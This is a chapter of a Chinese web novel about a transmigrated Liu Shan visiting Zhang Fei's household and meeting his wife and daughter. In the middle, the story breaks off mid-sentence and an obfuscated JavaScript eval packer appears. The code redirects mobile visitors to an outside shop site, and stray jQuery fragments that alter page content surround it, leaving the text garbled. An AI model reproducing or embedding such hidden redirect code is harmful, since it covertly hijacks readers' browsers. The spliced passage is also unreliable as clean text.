刘备说要带他去张飞家的时候,刘禅正在啃一块桂花糕。

    他愣了一下,糕还叼在嘴里,含含糊糊地问:“去张三叔家?”

    “嗯。”刘备已经换好了外出的常服,一边系腰带一边说:“你张三叔过几天就要去阆中上任了,巴西太守,镇守北边,走之前有些军务要商议。”

    他本来打算自己去,看到刘禅就想起来,上次张飞在宴会上提到可以让两个孩子一起玩,于是想着把儿子带上。

    他走过来,在刘禅脑袋上揉了一把,“阿父想着今天正好,带你去认认门。”

    刘禅把嘴里的糕咽下去,点了点头。

    他还没去过张飞家呢!

    “好啊。”刘禅从椅子上跳下来,“那我换件衣裳。”

    周婶已经在旁边等着了,手里捧着一件新做的浅青色小袍子。刘禅配合地伸手伸胳膊,一边让周婶给他整理衣襟,一边脑子里转着些有的没的。

    说起来,他对张飞的全部印象都来自演义。演义里的张飞是个豹头环眼的莽汉,当阳桥一声吼吓退曹军。

    但历史上张飞其实没那么夸张,能文能武,还擅长书法。嗓门是大,人也豪爽,但对他这个小孩还挺有耐心的,还给他夹了块大肘子!

    “想什么呢?”刘备看他发呆,拍了拍他的后脑勺。

    “在想张三叔家什么样。”刘禅回过神来。

    刘备笑了一声,“一会儿就能见到了。走吧,车备好了。”

    父子俩出了门,马车已经在府门口等着了。

    张飞的临时住处离州牧府不算太远,都在成都城的核心区域。刘备入蜀之后,麾下文武官员大多被安置在这一带,方便议事。

    张飞因为是右将军,分到的宅子规模不小,是前益州某个官员留下的院子,稍作修整就住了进去。

    马车走了大约一炷香的工夫就到了。

    刘禅从车上跳下来,抬头打量张飞家的大门。

    门面开阔,黑漆大门,门前立着两尊石兽,看着威风凛凛。门口站着两个亲兵,见是刘备来了,立刻抱拳行礼,中气十足地喊了一声“主公”。

    刘备摆摆手,牵着刘禅往里走。

    一进门,刘禅的眼睛就亮了。

    张飞家前院几乎就是一个缩小版的军营校场。

    青砖铺地,平整宽阔,靠墙立着一排兵器架,长枪、大刀、铁戟、硬弓样样俱全。

    院子中间空出一大片空地,地面铺着细沙,踩上去沙沙作响。角落里还立着几个箭靶,靶心被射得千疮百孔。

    一看就是武将的府邸!

    院子另一侧放着石锁和石墩,大的看着少说百来斤,小的也有几十斤。刘禅忍不住多看了两眼,心想这玩意儿张飞不会真拿来练力气吧?

    正想着,正厅那边已经传来了脚步声。

    “大哥来了!”

    张飞人还没到,声音先到了。

    他从正厅大步走出来,穿着一身深蓝色的便服。

    他身后跟着一个妇人,年纪三十出头,身量不高,穿着件素色的深衣,头发挽得整整齐齐,面容温婉,眉目间带着几分淡淡的书卷气。

    刘禅一看就知道,这位就是夏侯氏。

    夏侯氏眉眼清秀柔和,笑起来嘴角微微上扬,给人一种很舒服的感觉。

    他听人讲过,这位夏侯氏是夏侯渊的堂侄女。

    张飞在徐州兵败后,途经沛国谯县,偶遇出城樵采的她。她当年不过十三四岁,因为饥荒,只好亲自出城打柴补给家用,被张飞的部众所遇。

    张飞就将她纳为了正妻,算来至今夫妻二人已相伴二十多年了!

    “三弟。”刘备拱了拱手。

    “大哥你来得正好!”张飞大步迎上来,一把就握住了刘备的手臂,声音洪亮得震耳朵,“我正琢磨阆中的防务呢,有几个地方得跟你商量商量——哎,阿斗也来了?”

    他的目光落在刘禅身上,立刻咧开嘴笑了,“好小子,上次在宴上没来得及细看。来来来,让你三叔好好瞧瞧!”

    刘禅被他一把拎到面前,感觉自己像被老鹰抓小鸡一样提溜了起来。

    “长高了不少!”张飞上下打量了一番,满意地点点头,“就是太瘦了,回头让你婶子给你炖肉吃!”

    “见过主公。”夏侯氏上前一步,规规矩矩地行了一礼,声音温润。

    “弟妹不必多礼。”刘备摆摆手,把刘禅拉到身前,“阿斗,这是你张三婶。”

    刘禅立刻乖巧行礼,“刘禅见过三婶。”

    夏侯氏微微弯腰,仔细端详了他一会儿,眼里带着笑意,“早听将军说起过公子,说公子聪慧灵秀。今日一见,果然是个懂事的孩子。这眉眼生得真好,像主公。”

    刘禅被她这么一夸,咧嘴笑了笑,露出两颗小虎牙,“三婶过奖了。”

    夏侯氏见他笑得可爱,眼里笑意更浓了。她伸手虚虚扶了一下刘禅的肩膀,动作轻柔得体,“公子不必拘礼,就当在自己家一样。”

    张飞在旁边看得哈哈大笑,“怎么样,我家这婆娘不错吧?持家有方!”

    “三弟,”刘备无奈地看了他一眼,“当着孩子的面,说话注意些。”

    “怕什么?阿斗又不是外人!”张飞毫不在意地一挥手,弯下腰对刘禅说,“阿斗,家里有好吃的,让你三婶给你拿去。我跟你阿父先去说点正事,回头再陪你玩儿。”

    夏侯氏也轻声道:“我带公子去后院坐坐,正好阿瑛也在家,让两个孩子认识认识。”

    阿瑛应该就是张飞的大女儿了。

    刘禅心里默默记下了这个名字。

    “行!”张飞爽快地答应了,转头对夏侯氏说,“你带阿斗去找阿瑛,让他们自己玩儿去。小孩子嘛,有伴就高兴!”

    刘备也点点头,拍了拍刘禅的肩膀,“阿斗,阿父跟你三叔谈些军务,你在这儿玩着,待会儿爹来接你。”

    “好。”刘禅乖乖点头。

    刘备和张飞进了内堂,夏侯氏便带着刘禅往后院走。

    从正厅到后院要经过一条回廊。

    回廊不算长,但修得很规整,木柱上刷着朱漆,廊下铺着青砖。回廊两侧种着一些花草,不算名贵,都是些常见的品种,但修剪得整齐,看着很舒服。

    刘禅一边走一边四处打量,发现张飞家的整体风格确实跟诸葛亮家完全不同。

    上次他去诸葛亮家,院子里种的是竹子,满院书香。张飞家这边开阔硬朗,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727419|208875||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    连花草都种得没那么讲究,风格区别很大!

    夏侯氏走在他旁边,步子不快不慢,偶尔侧头看看他。

    “公子今年多大了?”她温声问道。

    “八岁了。”刘禅抬头答了一句,“三婶,您叫我阿斗就行,阿父他们都这么叫。”

    夏侯氏微微笑了笑,“好,阿斗。阿瑛跟你同岁。她性子静,平时不太爱跟外人说话,你待会儿别见怪。”

    刘禅保证,“没关系,我们会好好相处的。”不就是和小孩聊天吗?他前世可是个e人,和谁都能聊!

    夏侯氏听他这么说,眼里多了几分笑意。

    两人继续往前走,路过院子角落的时候,刘禅看见一棵橘子树,枝头挂着几个青皮橘子,还没熟透,但已经能闻到一股清冽的橘香。他忍不住多看了两眼。

    “阿斗喜欢橘子?”夏侯氏注意到了他的目光。

    “喜欢。”刘禅点头,“橘子皮晒干了还能泡水喝,我爹说消食。”

    夏侯氏笑了笑,“这棵橘树年年结果,秋天正好是橘子熟的时节。再过一阵子,等橘子黄透了,阿斗可以来摘。”

    “真的吗?”刘禅眼睛亮了一下,“那我一定来!”

    夏侯氏笑着点点头,越发觉得这孩子可爱。

    过了回廊就到了后院。

    后院比前院安静得多,没有演武场和兵器架,种了不少花木。院子中间有个小花圃,种着几丛菊花和一株山茶,花圃旁边是一条石板小径,通向院子一角的一座小亭子。

    亭子是木结构的,四角攒尖顶,檐下挂着竹帘,半卷半放。亭子里摆着一张石桌和几个石墩,桌面上刻着棋盘纹路,旁边还放着茶盘。亭子四周种着几丛矮竹,风一吹竹叶沙沙响,很是清幽。

    “阿瑛在亭子里。”夏侯氏朝亭子那边看了一眼,温声道。

    刘禅顺着她的目光看过去,果然看见亭子里坐着一个小姑娘,正低头摆弄着什么。

    夏侯氏领着刘禅走过去。

    走近了才看清,张瑛正拿着一把小剪刀,在修剪几枝菊花的花枝。她把枯黄的叶子一片片剪掉,动作很轻很慢,像是怕弄疼了花似的。

    “阿瑛。”夏侯氏叫了一声。

    张瑛抬起头,先是看见了母亲,然后看见了母亲身边站着的男孩。她微微怔了一下,放下剪刀,从石墩上站起来。

    刘禅也看清了她。

    张瑛穿着一件淡黄色的小衫,头发扎成两个小髻,用浅蓝色的发带系着。

    她的脸型随夏侯氏,小巧的鹅蛋脸,眉眼清秀,皮肤白净。眼睛很亮,带着一股安静乖巧的感觉。

    “阿母。”她先朝夏侯氏行了一礼,然后目光转向刘禅,带着一点询问的意味。

    “阿瑛,”夏侯氏把刘禅往前轻轻推了推,“这位是阿斗,主公的公子,今天来咱们家做客。”

    张瑛飞快地看了刘禅一眼,礼数很周全地行礼,“见过公子。”声音细细的,带着点害羞。

    刘禅赶紧回礼,“我叫刘禅,你叫我阿斗就好。”

    “阿斗哥哥。”张瑛改了口,声音还是轻轻的。

    这一声“阿斗哥哥”叫得刘禅很有成就感,他还没有妹妹呢!上辈子也是独生子女。